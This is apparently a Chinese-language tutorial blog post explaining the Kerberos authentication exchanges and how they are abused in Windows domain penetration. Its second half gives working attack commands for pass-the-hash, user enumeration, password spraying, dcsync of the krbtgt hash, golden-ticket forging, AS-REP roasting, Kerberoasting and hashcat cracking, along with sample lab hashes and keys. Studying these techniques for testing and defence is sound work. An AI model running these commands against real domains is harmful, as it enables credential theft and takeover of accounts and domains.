Kerberos协议の小记

前言

在域渗透领域中,Kerberos 协议认证堪称是完全无法回避的关键环节,几乎所有的域攻击均与此协议紧密相连。正因如此,特意撰写此文,旨在助力小白迅速洞悉域环境中的 Kerberos 协议。以下的讲解仅代表个人见解,若存在错误之处,还望师傅们能够不吝指正。球球:2161992897

什么是Kerberos?

kerberos是一种计算机网络认证协议,他能够为网络中通信的双方提供严格的身份验证服务,确保通信双方身份的真实性和安全性。

认证过程分析

流程图

这里先放两张流程图,下面依次简称图一、图二。

image-20240824154216968

image-20240824160747023

概念解析

  1. Client:客户端(发送请求的机器)
  2. Server:服务端(被请求的服务)
  3. KDC:密钥分发中心(Key Distribution Center),由AS和TGS组成
  4. AS:认证服务器(Authentication Service)专门用来认证客户端的身份并发放客户用于访问TGS的TGT
  5. TGS:票据授予服务器(Ticket Granting Service),用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据(ST)
  6. AD:账户数据库(Account Database),存储所有Client的白名单

过程分析

从图一中我们可以发现,Kerberos协议可以分为三个过程

  • 身份验证服务 (AS) 交换 (KRBAS*)
  • 票证授予服务 (TGS) 交换 (KRBTGS*)
  • 客户端/服务器 (AP) 交换 (KRBAP*)

而其中的*便代表着REQ(request请求)和REP(response响应)两部分,总体请求过程如下(结合图二看)

KRBAS*

image-20240824171013130

KRB_AS_REQ

  1. 客户端向KDC中的AS发起请求,请求中携带了自己的用户名、主机IP和当前时间戳
  2. AS收到请求之后会向AD查询请求的用户名是否存在,此时只会查找是否有相同用户名的用户,并不会判断身份的可靠性
  3. 如果没有该用户名,则认证失败。如果存在该用户名,则会进行下一步的AS_REP

KRB_AS_REP

当AS_REQ在KDC认证成功后,会给Client返回两部分内容

  1. TGT(Ticket Granting Ticket),它是由AS认证服务器颁发,其包含该客户端的Name、IP、当前时间戳客户端即将访问的TGS的NameTGT的有效时间以及一个用CT_SK
  2. Session Key,此内容由客户端的哈希加密

在KRBAS*过程重点需要了解的就是通过AS请求我们可以获得TGT。

KRBTGS*

客户端利用在AS_REP中拿到的信息向KDC中的TGS发起请求,请求的目的是为了获取能够访问目标网络服务的服务授予票据(Server Ticket,即ST)

image-20240824172240093

KRB_TGS_REQ

  1. 客户端使用CT_SK加密将自己的客户端信息发送给KDC,其中包括客户端名、IP、时间戳
  2. 客户端将自己想要访问的Server服务以明文的方式发送给KDC
  3. 客户端将使用TGS密钥加密的TGT也原封不动的也携带给KDC

KRB_TGS_REP

KDC中的TGS会根据请求中的信息检查时间是否超时、请求的服务是否存在以及用于请求的用户是否合法,如果条件都符合则会返回两部分数据。

  1. ST(Server Ticket),其中包括客户端的Name,IP,需要访问的网络服务的地址Server IP,ST的有效时间,时间戳以及用于客户端和服务端之间通信的CS_SK
  2. 使用CT_SK加密的内容,其中包括CS_SK时间戳,还有ST的有效时间

在KRBTGS*过程重点需要了解的就是通过TGS请求我们可以获得ST。

KRBAP*

在域渗透当中,与服务端的通讯以及不涉及什么复杂的身份认证过程了,只需要拿着在前面过程中伪造或者获取的票据来访问对应的服务即可。

Kerberos协议利用

AS-REQ

哈希传递

这里传递的哈希指的其实就是NTLM,而提到NTLM就顺道提一嘴我们在域环境中抓取的HTLM是怎么来的吧。

NTLM简介

在windows环境中,我们的密码都是存储在此文件中的

1
%systemroot%\system32\config\sam

image-20240824175408524

sam中存储的就是NTLM哈希值,当用户登录的时候会调用响应进程将用户输入的明文的HTLM哈希值与sam中的值进行对比,如果对比成功则可以成功登录

NTLM如何获取?

在渗透过程中,可以使用mimikatz或者MSF的hashdump等操作来获取对应用户的HTLM哈希值。我们也可以使用python来调用NTLM哈希算法来获取对应的哈希值。

1
2
3
4
5
6
from passlib.hash import nthash

h = nthash.hash('admin')
print(h)

#209c6174da490caeb422f3fa5a7ae634

具体算法如下

image-20240824180647769

利用

在渗透过程中可以根据对方机器所开机器的服务来使用不通的服务进行PTH攻击,比如

1
2
3
4
5
# 使用mimikatz进行PTH
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:user /domain:domain /ntlm:hash" exit

# 使用impacket脚本进行PTH**
python3 xxx.py domain/user@ip -hashes :93b95aef15f4d50fab96ffc44a2f326a

域内用户枚举

在AS-REQ阶段,请求中会携带cname值,我们可以向域控发起对应请求,域控会根据用户的真实状态返回相应的用户状态。所以当你拿到一堆用户名的时候,可以先进行一波枚举,如果都找出真实存在的域用户,再进行相应的域攻击

1
python2 EnumADUser.py 192.168.200.143 0day.org user.txt tcp

密码喷洒

和域用户枚举的思路大致相同,拿到一堆账号密码之后,可以使用相应的工具对于主机进行爆破处理,根据返回状态的不通判断此账号密码是否与对应的主机相匹配

1
crackmapexec smb 172.22.4.45 -u username -p passwd -d domain 2>/dev/null

AS-REP

黄金票据

通常是在拿下域管之后,我们可以通过mimikatz等操作拿到krbtgt的哈希值,再通过其他组成票据的参数伪造票据

获取所需参数
1
mimikatz.exe "lsadump::dcsync /domain:0day.org /user:krbtgt"

得到如下信息:

  • sid:S-1-5-21-1812960810-2335050734-3517558805

  • ntlm hash:36f9d9e6d98ecf8307baf4f46ef842a2

  • aes256:dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9

伪造用户administrator执行(aes256)
1
mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805/aes256:dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9 /user:administrator/ticket:gold.kirbi"
伪造用户administrator执行(krbtgt hash)
1
mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805/krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /user:administrator /ticket:gold.kirbi

生成文件gold.kirbi

导入Golden Ticket,进行PTT

1
kerberos::ptt C:\Users\jack.0DAY\Desktop\gold.kirbi

AS-REP Roasting

当域控关闭了预身份验证后,我们可以向域控的88端口发起请求,此时域控不会进行任何验证就将TGT和该用户Hash加密的Login Session Key 返回,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令

使用impacket中的GetNPUsers.py来进行检索哪些用户开启了“Do not require Kerberos preauthentication”,并获取他们的TGT,以hashcat能爆破的形式输出

1
proxychains python GetNPUsers.py <域名>/<用户> -dc-ip <域控IP> -format hashcat

之后使用hashcat进行爆破

1
2
3
4
-a 0 指定为字典爆破模式
# --force 忽略warning
# -m 18200 指定爆破模式为"Kerberos 5 AS-REP etype 23"(18200)的格式
hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$xxxxxxxxxxxxx' rockyou.txt

TGS-REP

Kerberoast

DC在活动目录中查找SPN,并用与SPN关联的服务帐户加密票证,以便服务能验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证

1
2
# 使用impacket中的GetUserSPNs.py
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -dc-ip <DCip> -outputfile <output_TGSs_file>

使用hashcat破解

1
hashcat64.exe -m 13100 hash.txt pass.txt

小结

倘若对该过程理解起来稍有困难,那至少要牢记以下两点:其一,通过 AS(Authentication Server,认证服务器)交换能够获取 TGT(Ticket Granting Ticket,票据授权票据);其二,经由 TGS(Ticket Granting Service,票据授权服务)交换可以得到 ST(Service Ticket,服务票据)。对于域渗透来说,Kerberos 协议是务必要学习的。了解 Kerberos 协议的具体流程有助于大家更透彻地理解域攻击的手法,明晰每一个操作步骤的实际意义,避免在学习或者研读他人的WP时过于困惑,只会盲目地复制命令去执行。